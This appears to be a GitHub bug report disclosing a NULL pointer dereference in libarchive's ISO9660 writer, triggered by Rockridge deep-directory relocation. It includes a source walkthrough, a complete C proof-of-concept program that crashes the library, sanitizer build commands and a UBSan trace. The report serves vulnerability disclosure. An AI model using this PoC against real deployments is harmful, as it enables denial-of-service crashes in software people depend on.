Skip to content

A NULL Pointer Dereference in ISO9660 writer #3235

Description

@0x4A-210

Summary

The issue occurs when creating an ISO9660 image with Rockridge enabled, ISO level 4, disabled depth limiting, and a deep zero-length regular file path. Rockridge deep-directory relocation moves a deep directory into rr_moved and marks the original directory entry as a non-directory. During the later directory descriptor generation phase, libarchive still traverses that original entry as a directory record.

Before writing the directory records, calculate_directory_descriptors() iterates over the entry's content chain and advances file->cur_content to NULL. Later, set_directory_record() handles the same entry as a non-directory and dereferences file->cur_content->next, causing a NULL pointer dereference.

affected commit hash: 5a2ec45

Relevant Source Code

Affected code in libarchive/archive_write_set_format_iso9660.c.

First, in isoent_make_path_table(). With Rockridge enabled, libarchive calls isoent_rr_move() after collecting the path table entries:

static int
isoent_make_path_table(struct archive_write *a)
{
    ...
    isoent_collect_dirs(&(iso9660->primary), NULL, 0);
    if (iso9660->opt.joliet)
        isoent_collect_dirs(&(iso9660->joliet), NULL, 0);

    /*
     * Rockridge; move deeper depth directories to rr_moved.
     */
    if (iso9660->opt.rr) {
        r = isoent_rr_move(a);
        if (r < 0)
            return (r);
    }

For a deep directory, isoent_rr_move_dir() moves the original entry under rr_moved and marks the original directory entry as a non-directory:

static int
isoent_rr_move_dir(struct archive_write *a, struct isoent **rr_moved,
    struct isoent *curent, struct isoent **newent)
{
    ...
    /*
     * This entry which relocated to the rr_moved directory
     * has to set the flag as a file.
     * See also RRIP 4.1.5.1 Description of the "CL" System Use Entry.
     */
    curent->dir = 0;

Later, iso9660_close() calculates directory locations before writing the ISO image. This calls isoent_setup_directory_location():

static int
iso9660_close(struct archive_write *a)
{
    ...
    /* Setup the locations of directories. */
    isoent_setup_directory_location(iso9660, blocks,
        &(iso9660->primary));

isoent_setup_directory_location() calls calculate_directory_descriptors() for each directory entry that remains in the traversal:

static void
isoent_setup_directory_location(struct iso9660 *iso9660, int location,
    struct vdd *vdd)
{
    ...
    do {
        int block;

        np->dir_block = calculate_directory_descriptors(
            iso9660, vdd, np, depth);

Inside calculate_directory_descriptors(), the child entry's content cursor is initialized to &file->content, then advanced through the content chain. For a single-extent zero-length entry, file->content.next is NULL, so the loop leaves file->cur_content as NULL:

static int
calculate_directory_descriptors(struct iso9660 *iso9660, struct vdd *vdd,
    struct isoent *isoent, int depth)
{
    ...
    file = np->file;
    if (file->hardlink_target != NULL)
        file = file->hardlink_target;
    file->cur_content = &(file->content);
    do {
        int dr_l;

        dr_l = get_dir_rec_size(iso9660, np, DIR_REC_NORMAL,
            vdd->vdd_type);
        ...
        file->cur_content = file->cur_content->next;
    } while (file->cur_content != NULL);

After that, iso9660_close() writes the directory descriptors:

static int
iso9660_close(struct archive_write *a)
{
    ...
    /* Write Directory Descriptors */
    ret = write_directory_descriptors(a, &(iso9660->primary));

write_directory_descriptors() reaches _write_directory_descriptors(), which writes a self directory record for the entry:

static int
_write_directory_descriptors(struct archive_write *a, struct vdd *vdd,
    struct isoent *isoent, int depth)
{
    ...
    p += set_directory_record(p, WD_REMAINING, isoent,
        iso9660, DIR_REC_SELF, vdd->vdd_type);

At this final point, set_directory_record() sees the entry as a non-directory because isoent_rr_move_dir() set curent->dir = 0. It then dereferences the already-NULL file->cur_content:

static int
set_directory_record(unsigned char *p, size_t n, struct isoent *isoent,
    struct iso9660 *iso9660, enum dir_rec_type t,
    enum vdd_type vdd_type)
{
    ...
    if (t == DIR_REC_PARENT)
        xisoent = isoent->parent;
    else
        xisoent = isoent;
    file = isoent->file;
    if (file->hardlink_target != NULL)
        file = file->hardlink_target;

    /* Make a file flag. */
    if (xisoent->dir)
        flag = FILE_FLAG_DIRECTORY;
    else {
        /* NULL pointer dereference: file->cur_content is NULL here. */
        if (file->cur_content->next != NULL)
            flag = FILE_FLAG_MULTI_EXTENT;
        else
            flag = 0;
    }

POC

#include <archive.h>
#include <archive_entry.h>

#include <stdio.h>
#include <stdlib.h>

static la_ssize_t
discard_write_callback(struct archive *a, void *client_data,
    const void *buffer, size_t length)
{
	(void)a;
	(void)client_data;
	(void)buffer;
	return (la_ssize_t)length;
}

static int
discard_close_callback(struct archive *a, void *client_data)
{
	(void)a;
	(void)client_data;
	return ARCHIVE_OK;
}

static void
check_archive_result(struct archive *a, int r, const char *what)
{
	if (r == ARCHIVE_OK)
		return;
	fprintf(stderr, "%s failed: %s\n", what, archive_error_string(a));
	exit(1);
}

int
main(void)
{
	struct archive *a;
	struct archive_entry *entry;
	int r;

	a = archive_write_new();
	if (a == NULL) {
		fprintf(stderr, "archive_write_new failed\n");
		return 1;
	}

	check_archive_result(a, archive_write_set_format_iso9660(a),
	    "archive_write_set_format_iso9660");
	check_archive_result(a, archive_write_add_filter_none(a),
	    "archive_write_add_filter_none");
	check_archive_result(a, archive_write_set_bytes_per_block(a, 1),
	    "archive_write_set_bytes_per_block");
	check_archive_result(a, archive_write_set_bytes_in_last_block(a, 1),
	    "archive_write_set_bytes_in_last_block");

	/* Rockridge is enabled by default; ISO level 4 plus a deep path triggers rr_moved. */
	check_archive_result(a, archive_write_set_options(a, "iso9660:joliet"),
	    "option joliet");
	check_archive_result(a, archive_write_set_options(a, "iso9660:rockridge"),
	    "option rockridge");
	check_archive_result(a, archive_write_set_options(a, "iso9660:iso-level=4"),
	    "option iso-level");
	check_archive_result(a, archive_write_set_options(a, "iso9660:!limit-depth"),
	    "option !limit-depth");
	check_archive_result(a, archive_write_set_options(a, "iso9660:zisofs"),
	    "option zisofs");

	r = archive_write_open(a, NULL, NULL, discard_write_callback,
	    discard_close_callback);
	check_archive_result(a, r, "archive_write_open");

	entry = archive_entry_new();
	if (entry == NULL) {
		fprintf(stderr, "archive_entry_new failed\n");
		archive_write_free(a);
		return 1;
	}

	/* Nine path components make Rockridge deep-directory relocation process level 8. */
	archive_entry_set_pathname(entry, "A/A/A/A/A/A/A/A/A");
	archive_entry_set_filetype(entry, AE_IFREG);
	archive_entry_set_perm(entry, 0644);
	archive_entry_set_size(entry, 0);
	archive_entry_set_uid(entry, 1000);
	archive_entry_set_gid(entry, 1000);
	archive_entry_set_uname(entry, "user");
	archive_entry_set_gname(entry, "group");

	r = archive_write_header(a, entry);
	archive_entry_free(entry);
	check_archive_result(a, r, "archive_write_header");

	/*
	 * Current HEAD dereferences a NULL file->cur_content while writing
	 * directory records during close.
	 */
	r = archive_write_close(a);
	check_archive_result(a, r, "archive_write_close");
	check_archive_result(a, archive_write_free(a), "archive_write_free");

	return 0;
}

Reproduce

Compile

clang-18 -g -O1 -fsanitize=address,undefined \
  -I/path/to/build_san/libarchive \
  -I/path/to/libarchive/libarchive \
  /path/to/POC.c \
  -L/path/to/build_san/libarchive \
  -larchive \
  -Wl,-rpath,/path/to/build_san/libarchive \
  -o /output_dir/to/POC

Run

ASAN_OPTIONS=detect_leaks=0:allocator_may_return_null=1:abort_on_error=1 \
UBSAN_OPTIONS=halt_on_error=1:print_stacktrace=1 \
  /output_dir/to/POC

UBSAN Report

/home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:3495:27: runtime error: member access within null pointer of type 'struct content'
    #0 0x7b26c7883962 in set_directory_record /home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:3495:27
    #1 0x7b26c789b2bf in _write_directory_descriptors /home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:4387:7
    #2 0x7b26c785b342 in write_directory_descriptors /home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:4439:7
    #3 0x7b26c782baa3 in iso9660_close /home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:2078:8
    #4 0x7b26c7777ecc in _archive_write_close /home/k40/CVE/libarchive/libarchive/archive_write.c:638:8
    #5 0x7b26c776ea2a in archive_write_close /home/k40/CVE/libarchive/libarchive/archive_virtual.c:67:10
    #6 0x5d8c4939da2c in main /home/k40/CVE/Outputs/Result/ISO9660_rr_moved_zero_size_null_deref/POC_EN.c:97:6
    #7 0x7b26c6c2a1c9 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    #8 0x7b26c6c2a28a in __libc_start_main csu/../csu/libc-start.c:360:3
    #9 0x5d8c492c44a4 in _start (/home/k40/CVE/Outputs/Result/ISO9660_rr_moved_zero_size_null_deref/POC_EN+0x2c4a4)

SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /home/k40/CVE/libarchive/libarchive/archive_write_set_format_iso9660.c:3495:27

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions